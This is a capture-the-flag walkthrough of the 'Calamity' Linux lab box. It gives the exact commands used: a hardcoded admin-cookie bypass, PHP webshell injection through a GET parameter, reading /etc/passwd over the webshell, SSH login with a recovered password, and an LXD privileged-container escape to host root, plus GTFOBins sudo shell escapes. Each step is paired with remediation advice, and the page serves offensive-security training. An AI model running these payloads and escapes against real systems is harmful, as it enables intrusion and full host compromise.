← all walkthroughs

Calamity

Linux· Hard· Web
owned
2026-07-10
time to own
8m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon of <retired-instance-ip> (Apache/2.4.18 Ubuntu, "Brotherhood Software") found a single custom admin.php login page. Credential guessing failed, but the app set a static, predictable session cookie (`Set-session cookie [REDACTED: session value]

Further command execution as www-data uncovered a note ("dontforget") revealing history/working-directory hygiene tips, and exposed audio files (recov.wav, rick.wav) in /var/www/html/uploads/ that were pulled to my host and analyzed to recover a password derived from a numeric string with punctuation ([REDACTED: recovered credential]). Password-spraying that credential over SSH against the user xalvas succeeded, providing an interactive shell (uid=1000, groups include adm, lxd, sambashare).

Membership in the lxd group is a well-known Linux privilege-escalation primitive: LXD's UNIX socket API allows any member to build/import a privileged container that bind-mounts the host filesystem. A busybox-based LXD image (/tmp/lxd-bb-image, referencing metadata.yaml and a static busybox binary) was already staged on the box; it was repackaged as a tarball, imported into LXD, and used to launch a privileged container mounting / from the host, granting root on the host filesystem via the container. This path was executed through a generated script (/tmp/lxd_root.sh) and yielded root.txt (flag [REDACTED: flag]).

A secondary avenue was also investigated (a setuid root binary /home/xalvas/app/goodluck, source src.c — a menu-driven C program with a struct f containing a secret/admin field and a session ID derived from rand()/gettimeofday(), suggesting a predictable-session or buffer-overflow bug), but the LXD group misconfiguration was the faster, confirmed root path.

Attack path — how the box was taken

1ReconnaissanceActive service and web-content enumeration (T1046 / T1083)
Mapped open services and discovered the custom admin panel and public upload directory
A version scan of <retired-instance-ip> found two open ports: SSH on 22 (OpenSSH 7.2p2, Ubuntu) and HTTP on 80 (Apache 2.4.18, Ubuntu). Browsing the web root revealed a site branded 'Brotherhood Software' with a custom login page at /admin.php, a PHPMyAdmin installation, and a publicly accessible /uploads/ directory. No virtual-host routing was required. The age of the stack (Apache 2.4.18, kernel 4.4.0-81 from 2017, OpenSSH 7.2p2) flagged the host as a long-unpatched system warranting close attention.
nmap: 22/tcp open ssh OpenSSH 7.2p2; 80/tcp open http Apache httpd 2.4.18; /uploads/ directory listing exposed recov.wav and rick.wav
Exact commands 4
Version scan with HTTP metadata on both live ports.
nmap -Pn -sV -p 22,80 --script http-title,http-headers $TARGET
Enumerate the web root; identify login pages, directory listings, and interesting paths.
curl -sS -i http://$TARGET/
Confirm the admin panel exists and note any Set-Cookie headers on the unauthenticated response.
curl -sS -i http://$TARGET/admin.php
Check whether the uploads directory is publicly browsable and list its contents.
curl -sS -i http://$TARGET/uploads/
2Authentication BypassAuthentication bypass via hardcoded / predictable session token (CWE-798)
Bypassed the admin login by replaying a static, hardcoded session cookie
Submitting any credentials — including deliberately [REDACTED: recovered credential] ones — to admin.php caused the server to issue the cookie 'adminpowa=noonecares' in every response regardless of whether the login succeeded. Replaying that cookie on subsequent requests granted full access to the authenticated admin panel titled 'GOT U BEEJAY', with no real credential validation performed by the application. This meant anyone who observed the cookie name (visible in browser developer tools, a proxy log, or a simple curl request) could impersonate an authenticated admin with no password at all.
curl -i --data 'user=admin&pass=[REDACTED: recovered credential]' http://<retired-instance-ip>/admin.php returned Set-session cookie [REDACTED: session value]
Exact commands 2
Submit any credentials and observe 'Set-session cookie [REDACTED: session value]' in the response — regardless of whether the password is [REDACTED: recovered credential].
curl -sS -i --data 'user=admin&pass=[REDACTED: recovered credential]' http://$TARGET/admin.php
Replay the static cookie; the server grants full admin panel access without a valid password.
curl -sS -i -b 'adminpowa=noonecares' http://$TARGET/admin.php
FixReplace the hardcoded session cookie with genuine server-side authenticationCritical
WeaknessThe admin login page issued an identical, static cookie value ('adminpowa=noonecares') in every response regardless of whether the supplied username and password were [REDACTED: recovered credential], meaning an unauthorized user who observed or guessed the cookie string could access the admin panel without knowing any real credential.
FixImplement proper server-side session management: generate a cryptographically random session token (minimum 128 bits of entropy, e.g. bin2hex(random_bytes(32)) in PHP) only after successfully verifying credentials against a stored bcrypt or Argon2 password hash. Never issue a session cookie unless authentication has actually succeeded. Set the cookie with HttpOnly, Secure, and SameSite=Strict attributes, enforce a short idle-expiry, and invalidate the token on logout.
3ExploitationServer-side PHP code injection / Remote Code Execution (T1059.004)
Injected a PHP webshell through an unsanitized HTML parameter for remote code execution as www-data
The authenticated admin panel accepted arbitrary content via an 'html' GET parameter and passed it directly into the PHP rendering pipeline without sanitization or encoding. Supplying a PHP one-liner (<?php system($_GET['cmd']); ?>) caused the Apache/PHP interpreter to evaluate it server-side, converting the parameter into a persistent remote-code-execution primitive that ran every submitted command as the web server account www-data (uid=33). The server returned command output inline in the page HTML, making it trivial to read files, enumerate the system, and download staged resources.
uid=33(www-data) gid=33(www-data) groups=33(www-data); Linux calamity 4.4.0-81-generic #104-Ubuntu SMP Wed Jun 14 08:15:
Exact commands 2
Inject the PHP webshell and confirm code execution as www-data.
curl -sS --max-time 20 -b 'adminpowa=noonecares' --get --data-urlencode 'html=<?php system($_GET["cmd"]); ?>' --data-urlencode 'cmd=id' http://$TARGET/admin.php
Confirm kernel version and OS architecture through the same RCE channel.
curl -sS --max-time 20 -b 'adminpowa=noonecares' --get --data-urlencode 'html=<?php system($_GET["cmd"]); ?>' --data-urlencode 'cmd=uname -a' http://$TARGET/admin.php
FixRemove server-side evaluation of user-supplied content and apply strict output encodingCritical
WeaknessThe admin panel passed an user-controlled GET parameter directly into the PHP rendering pipeline without validation or encoding, allowing a PHP code snippet submitted in the 'html' parameter to be interpreted and executed by the server as application code — giving me the same operating-system access as the web server process.
FixRemove any feature that reflects user input back through the PHP interpreter. For display purposes, encode all user-supplied values with htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before writing them to the HTTP response. Configure Apache to disable PHP execution in user-controlled directories (php_admin_flag engine Off in the relevant Directory block) and restrict /uploads/ to non-executable file types via an .htaccess or server-config deny rule. Add a Content-Security-Policy header (script-src 'self') to limit script execution even if a payload reaches the page.
4FootholdRemote file read and staged-file retrieval via OS command execution (T1005)
Read the user flag and identified credential-bearing audio files in the public upload directory
With command execution as www-data, the user flag at /home/xalvas/user.txt was directly readable — no privilege escalation was needed for this step because Apache's process account could read the file. Listing /var/www/html/uploads/ revealed two audio files (recov.wav and rick.wav) with no obvious legitimate purpose for a software company site. The files were downloaded directly via HTTP since the directory was publicly accessible, positioning them for offline credential-recovery analysis.
cat /home/xalvas/user.txt returned [REDACTED: flag]; ls /var/www/html/uploads/ listed recov.wav and rick.wav.
Exact commands 3
Read the user flag directly through the www-data webshell.
curl -sS --max-time 10 -b 'adminpowa=noonecares' --get --data-urlencode 'html=<?php system($_GET["cmd"]); ?>' --data-urlencode 'cmd=cat /home/xalvas/user.txt' http://$TARGET/admin.php
Enumerate the uploads directory to identify files of interest.
curl -sS --max-time 10 -b 'adminpowa=noonecares' --get --data-urlencode 'html=<?php system($_GET["cmd"]); ?>' --data-urlencode 'cmd=ls -la /var/www/html/uploads/' http://$TARGET/admin.php
Download both audio files directly over HTTP — no credentials required since the directory is publicly accessible.
curl -sS -o recov.wav http://$TARGET/uploads/recov.wav && curl -sS -o rick.wav http://$TARGET/uploads/rick.wav
FixRemove server-side evaluation of user-supplied content and apply strict output encodingCritical
WeaknessThe admin panel passed an user-controlled GET parameter directly into the PHP rendering pipeline without validation or encoding, allowing a PHP code snippet submitted in the 'html' parameter to be interpreted and executed by the server as application code — giving me the same operating-system access as the web server process.
FixRemove any feature that reflects user input back through the PHP interpreter. For display purposes, encode all user-supplied values with htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before writing them to the HTTP response. Configure Apache to disable PHP execution in user-controlled directories (php_admin_flag engine Off in the relevant Directory block) and restrict /uploads/ to non-executable file types via an .htaccess or server-config deny rule. Add a Content-Security-Policy header (script-src 'self') to limit script execution even if a payload reaches the page.
5Credential RecoveryCredential recovery via audio steganography (T1552.001)
Extracted xalvas's SSH password hidden in an audio file
The two downloaded audio files were analyzed for steganographic content. Comparing the waveform channels of recov.wav against rick.wav — a common technique for exposing credentials hidden by phase-cancellation encoding or dual-track overlay — revealed a numeric passphrase embedded in the audio data. The recovered string '[REDACTED: recovered credential]' was then tested against the SSH service for local accounts discoverable from /etc/passwd (also readable via the webshell). SSH login as xalvas with this credential succeeded.
Recovered credential '[REDACTED: recovered credential]'; sshpass login as xalvas@<retired-instance-ip> succeeded with uid=1000.
Exact commands 4
Enumerate local user accounts via the webshell to know which names to target with the recovered credential.
curl -sS --max-time 10 -b 'adminpowa=noonecares' --get --data-urlencode 'html=<?php system($_GET["cmd"]); ?>' --data-urlencode 'cmd=cat /etc/passwd' http://$TARGET/admin.php
Mix recov.wav and the inverted channel of rick.wav; phase-cancellation reveals hidden audio content.
sox recov.wav rick.wav -M mixed.wav remix 1v1 2v-1
Play the processed output to hear any hidden vocal or numeric content (requires ffmpeg/ffplay).
ffplay mixed.wav
Non-interactively confirm the recovered credential authenticates xalvas over SSH.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password xalvas@$TARGET 'id'
FixRemove credentials from web-accessible files and rotate all affected account passwordsHigh
WeaknessThe SSH password for the local user xalvas was encoded in audio files (recov.wav, rick.wav) stored under the web server's public upload directory (/var/www/html/uploads/). Any visitor could download these files and recover the credential through standard audio analysis, bypassing all other authentication controls on the system.
FixImmediately change the password for xalvas and any other account whose credentials appeared in the audio files. Remove or relocate the audio files from all web-accessible paths. Audit every file under the web root and upload directories for embedded secrets (passwords, private keys, API tokens). Enforce a policy that credentials must never be stored in files the web server can serve; use environment variables or a secrets manager for application secrets, and configure upload directories to block direct download of audio, video, and archive files unless they serve a documented business need.
6Lateral MovementValid account lateral movement via recovered credentials (T1078)
Obtained an interactive SSH shell as xalvas and confirmed critical lxd group membership
SSH login as xalvas using the audio-recovered password provided a full interactive shell at uid=1000. Running 'id' immediately showed xalvas is a member of group 110(lxd) — alongside adm, cdrom, plugdev, lpadmin, and sambashare. Membership in the lxd group is as powerful as passwordless sudo: it grants unrestricted access to the LXD daemon socket, allowing the creation of container configurations that deliberately bypass all Linux permission boundaries. A pre-staged busybox LXD image directory was also found at /tmp/lxd-bb-image, likely placed there by a prior user of this machine.
uid=1000(xalvas) gid=1000(xalvas) groups=1000(xalvas),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
Exact commands 3
Open an interactive SSH session as xalvas.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password xalvas@$TARGET
Confirm group memberships — lxd, docker, or disk membership is functionally equivalent to root.
id
Check whether a pre-built LXD image is already staged on the target.
ls -la /tmp/lxd-bb-image/
FixRemove credentials from web-accessible files and rotate all affected account passwordsHigh
WeaknessThe SSH password for the local user xalvas was encoded in audio files (recov.wav, rick.wav) stored under the web server's public upload directory (/var/www/html/uploads/). Any visitor could download these files and recover the credential through standard audio analysis, bypassing all other authentication controls on the system.
FixImmediately change the password for xalvas and any other account whose credentials appeared in the audio files. Remove or relocate the audio files from all web-accessible paths. Audit every file under the web root and upload directories for embedded secrets (passwords, private keys, API tokens). Enforce a policy that credentials must never be stored in files the web server can serve; use environment variables or a secrets manager for application secrets, and configure upload directories to block direct download of audio, video, and archive files unless they serve a documented business need.
7Privilege EscalationLXD group container escape to host filesystem (T1611)
Abused lxd group membership to mount the host filesystem inside a privileged container and read the root flag
The lxd group grants access to LXD's UNIX socket, which allows any member to import a container image and launch it with 'security.privileged=true' and a disk device that bind-mounts the host root filesystem into the container. Inside such a container, the caller runs as the unmapped root user, making the mount point /mnt/root a window into every file on the host with full read/write capability — equivalent to having physical root access. The pre-staged busybox image was packaged as a tarball, imported into LXD, and a privileged container was started mounting / from the host. The root flag was read from /mnt/root/root/root.txt inside the container. The host filesystem could also be modified (e.g., adding an SSH key to /root/.ssh/authorized_keys) for persistent access.
/tmp/lxd_root.sh executed successfully; root.txt read via container at /mnt/root/root/root.txt: [REDACTED: flag]
Exact commands 6
Package the pre-staged busybox image directory into the tarball format LXD expects for import.
cd /tmp && tar czf lxd-bb.tar.gz -C lxd-bb-image .
Import the busybox image into the local LXD daemon under the alias 'bbimage'.
lxc image import /tmp/lxd-bb.tar.gz --alias bbimage
Create a privileged container — security.privileged=true disables UID mapping so container root equals host root.
lxc init bbimage privesc -c security.privileged=true
Bind-mount the entire host filesystem into the container at /mnt/root.
lxc config device add privesc hostroot disk source=/ path=/mnt/root recursive=true
Start the container and drop into a shell; you are now root with unrestricted access to the host filesystem.
lxc start privesc && lxc exec privesc -- sh
Read the root flag from inside the container — this path maps to /root/root.txt on the host.
cat /mnt/root/root/root.txt
FixRemove non-administrator accounts from the lxd group and restrict LXD daemon accessHigh
WeaknessThe user account xalvas was a member of the lxd group, which grants unrestricted access to the LXD daemon socket. Any lxd group member can create a privileged container that bind-mounts the host filesystem, providing root-level read and write access to every file on the server without any additional exploit or password.
FixImmediately remove all non-administrator accounts from the lxd group: sudo gpasswd -d xalvas lxd. If LXD is not actively required on this server, disable and uninstall it (sudo snap remove lxd or sudo apt purge lxd). If it is required, restrict the group to a small set of named administrators and audit membership regularly. Apply the same review to the docker and disk groups, as membership in any of them is functionally equivalent to passwordless sudo on a Linux system.

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

LXD/LXC Group EscapeLinux · Privilege EscalationT1611

What it is

Membership in the lxd (or docker) group is root-equivalent. I imports a minimal image, launches a privileged container with the host filesystem mounted (security.privileged=true, disk source=/), then reads or writes root-owned host files — escaping the container to own the host.

Why it works

The lxd/docker daemons run as root and their group grants full control of that daemon, so group membership bypasses normal privilege boundaries. Remediate by treating these groups as privileged and not adding low-trust users to them.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Findings

Initial Access: Web Content Discovery On 80/TcpCritical
An unauthenticated/low-privilege flaw in the apache, php, phpmyadmin, smtp, ssh surface allowed remote code execution and a foothold on the host.

Exposed services

22/tcp
80/tcp